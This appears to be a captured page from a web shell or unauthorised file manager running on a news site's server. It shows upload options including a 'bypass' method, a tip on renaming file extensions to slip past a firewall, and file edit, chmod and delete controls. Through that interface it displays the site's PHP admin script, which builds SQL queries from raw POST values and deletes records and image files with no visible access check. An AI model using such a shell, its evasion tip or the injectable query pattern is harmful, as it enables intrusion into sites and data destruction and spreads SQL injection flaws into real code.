Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
Submit
~
home
cmediaonline-mnfgj
cmediaonline.in
public
admin
File Content:
ajaxreports.php
<?php include "assets/includes/connection.php"; $reportmode=$_POST['reportmode']; if ($reportmode == "Monthly"){ $monthid=$_POST["userid"]; } if ($reportmode == "Datewise"){ $fromdate=$_POST["fromdate"]; $todate=$_POST["todate"]; $fdate=date_format(date_create($fromdate),"d/m/Y"); $tdate=date_format(date_create($todate),"d/m/Y"); } ?> <?php if ($reportmode=="Monthly"){ // ====================heading news============ $query = "select * from headingnews WHERE month(ndate)='" . $monthid . "'"; $select_posts = mysqli_query($connection,$query); while($row = mysqli_fetch_assoc($select_posts)) { $imgname = $row['newspic']; unlink('uploads/large/head/'. $imgname); unlink('uploads/medium/head/'. $imgname); unlink('uploads/small/head/'. $imgname); $queryextra = "select * from news_extra_pics where newsid = '" . $row['id'] . "'"; $select_postsextra = mysqli_query($connection,$queryextra); while($rowextra = mysqli_fetch_assoc($select_postsextra)) { $extraimgname = $rowextra['imgname']; unlink('uploads/extranewspics/'. $extraimgname); } $sqlex="DELETE FROM news_extra_pics where newsid = '" . $row['id'] . "'"; if ($connection->query($sqlex) === TRUE) { // $response= "Heading News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } } $sql="DELETE FROM headingnews WHERE month(ndate)='" . $monthid . "'"; if ($connection->query($sql) === TRUE) { $response= "Heading News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } // ================================================= // ====================trending news============ $query = "select * from trendingnews WHERE month(ndate)='" . $monthid . "'"; $select_posts = mysqli_query($connection,$query); while($row = mysqli_fetch_assoc($select_posts)) { $imgname = $row['newspic']; unlink('uploads/large/trend/'. $imgname); unlink('uploads/medium/trend/'. $imgname); unlink('uploads/small/trend/'. $imgname); $queryextra = "select * from news_extra_pics where newsid = '" . $row['id'] . "'"; $select_postsextra = mysqli_query($connection,$queryextra); while($rowextra = mysqli_fetch_assoc($select_postsextra)) { $extraimgname = $rowextra['imgname']; unlink('uploads/extranewspics/'. $extraimgname); } $sqlex="DELETE FROM news_extra_pics where newsid = '" . $row['id'] . "'"; if ($connection->query($sqlex) === TRUE) { // $response .= "trending News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } } $sql="DELETE FROM trendingnews WHERE month(ndate)='" . $monthid . "'"; if ($connection->query($sql) === TRUE) { $response .= " Trending News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } // ================================================= // ====================Main news============ $query = "select * from mainnews WHERE month(ndate)='" . $monthid . "'"; $select_posts = mysqli_query($connection,$query); while($row = mysqli_fetch_assoc($select_posts)) { $imgname = $row['newspic']; unlink('uploads/large/main/'. $imgname); unlink('uploads/medium/main/'. $imgname); unlink('uploads/small/main/'. $imgname); $queryextra = "select * from news_extra_pics where newsid = '" . $row['id'] . "'"; $select_postsextra = mysqli_query($connection,$queryextra); while($rowextra = mysqli_fetch_assoc($select_postsextra)) { $extraimgname = $rowextra['imgname']; unlink('uploads/extranewspics/'. $extraimgname); } $sqlex="DELETE FROM news_extra_pics where newsid = '" . $row['id'] . "'"; if ($connection->query($sqlex) === TRUE) { // $response= "Heading News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } } $sql="DELETE FROM mainnews WHERE month(ndate)='" . $monthid . "'"; if ($connection->query($sql) === TRUE) { $response .= " Main News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } // ================================================= // ====================Sidebar news============ $query = "select * from sidebarnews WHERE month(ndate)='" . $monthid . "'"; $select_posts = mysqli_query($connection,$query); while($row = mysqli_fetch_assoc($select_posts)) { $imgname = $row['newspic']; unlink('uploads/large/sidebar/'. $imgname); unlink('uploads/medium/sidebar/'. $imgname); unlink('uploads/small/sidebar/'. $imgname); $queryextra = "select * from news_extra_pics where newsid = '" . $row['id'] . "'"; $select_postsextra = mysqli_query($connection,$queryextra); while($rowextra = mysqli_fetch_assoc($select_postsextra)) { $extraimgname = $rowextra['imgname']; unlink('uploads/extranewspics/'. $extraimgname); } $sqlex="DELETE FROM news_extra_pics where newsid = '" . $row['id'] . "'"; if ($connection->query($sqlex) === TRUE) { // $response= "Heading News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } } $sql="DELETE FROM sidebarnews WHERE month(ndate)='" . $monthid . "'"; if ($connection->query($sql) === TRUE) { $response .= " Sidebar News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } // ================================================= echo $response; } if ($reportmode=="Datewise"){ // $sqlbill = "SELECT * FROM bill where ndate between '$fromdate' AND '$todate'"; // ====================heading news============ $query = "select * from headingnews where ndate between '$fromdate' AND '$todate'"; $select_posts = mysqli_query($connection,$query); while($row = mysqli_fetch_assoc($select_posts)) { $imgname = $row['newspic']; unlink('uploads/large/head/'. $imgname); unlink('uploads/medium/head/'. $imgname); unlink('uploads/small/head/'. $imgname); $queryextra = "select * from news_extra_pics where newsid = '" . $row['id'] . "'"; $select_postsextra = mysqli_query($connection,$queryextra); while($rowextra = mysqli_fetch_assoc($select_postsextra)) { $extraimgname = $rowextra['imgname']; unlink('uploads/extranewspics/'. $extraimgname); } $sqlex="DELETE FROM news_extra_pics where newsid = '" . $row['id'] . "'"; if ($connection->query($sqlex) === TRUE) { // $response= "Heading News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } } $sql="DELETE FROM headingnews where ndate between '$fromdate' AND '$todate'"; if ($connection->query($sql) === TRUE) { $response= "Heading News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } // ================================================= // ====================trending news============ $query = "select * from trendingnews where ndate between '$fromdate' AND '$todate'"; $select_posts = mysqli_query($connection,$query); while($row = mysqli_fetch_assoc($select_posts)) { $imgname = $row['newspic']; unlink('uploads/large/trend/'. $imgname); unlink('uploads/medium/trend/'. $imgname); unlink('uploads/small/trend/'. $imgname); $queryextra = "select * from news_extra_pics where newsid = '" . $row['id'] . "'"; $select_postsextra = mysqli_query($connection,$queryextra); while($rowextra = mysqli_fetch_assoc($select_postsextra)) { $extraimgname = $rowextra['imgname']; unlink('uploads/extranewspics/'. $extraimgname); } $sqlex="DELETE FROM news_extra_pics where newsid = '" . $row['id'] . "'"; if ($connection->query($sqlex) === TRUE) { // $response .= "trending News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } } $sql="DELETE FROM trendingnews where ndate between '$fromdate' AND '$todate'"; if ($connection->query($sql) === TRUE) { $response .= " Trending News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } // ================================================= // ====================Main news============. $query = "select * from mainnews where ndate between '$fromdate' AND '$todate'"; $select_posts = mysqli_query($connection,$query); while($row = mysqli_fetch_assoc($select_posts)) { $imgname = $row['newspic']; unlink('uploads/large/main/'. $imgname); unlink('uploads/medium/main/'. $imgname); unlink('uploads/small/main/'. $imgname); $queryextra = "select * from news_extra_pics where newsid = '" . $row['id'] . "'"; $select_postsextra = mysqli_query($connection,$queryextra); while($rowextra = mysqli_fetch_assoc($select_postsextra)) { $extraimgname = $rowextra['imgname']; unlink('uploads/extranewspics/'. $extraimgname); } $sqlex="DELETE FROM news_extra_pics where newsid = '" . $row['id'] . "'"; if ($connection->query($sqlex) === TRUE) { // $response= "Heading News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } } $sql="DELETE FROM mainnews where ndate between '$fromdate' AND '$todate'"; if ($connection->query($sql) === TRUE) { $response .= " Main News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } // ================================================= // ====================Sidebar news============ $query = "select * from sidebarnews where ndate between '$fromdate' AND '$todate'"; $select_posts = mysqli_query($connection,$query); while($row = mysqli_fetch_assoc($select_posts)) { $imgname = $row['newspic']; unlink('uploads/large/sidebar/'. $imgname); unlink('uploads/medium/sidebar/'. $imgname); unlink('uploads/small/sidebar/'. $imgname); $queryextra = "select * from news_extra_pics where newsid = '" . $row['id'] . "'"; $select_postsextra = mysqli_query($connection,$queryextra); while($rowextra = mysqli_fetch_assoc($select_postsextra)) { $extraimgname = $rowextra['imgname']; unlink('uploads/extranewspics/'. $extraimgname); } $sqlex="DELETE FROM news_extra_pics where newsid = '" . $row['id'] . "'"; if ($connection->query($sqlex) === TRUE) { // $response= "Heading News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } } $sql="DELETE FROM sidebarnews where ndate between '$fromdate' AND '$todate'"; if ($connection->query($sql) === TRUE) { $response .= " Sidebar News Records deleted"; } else { echo "Error: " . $sql . "<br>" . $connection->error; } // ================================================= echo $response; } ?> <!-- ===================================================== -->
Edit
Rename
Chmod
Delete
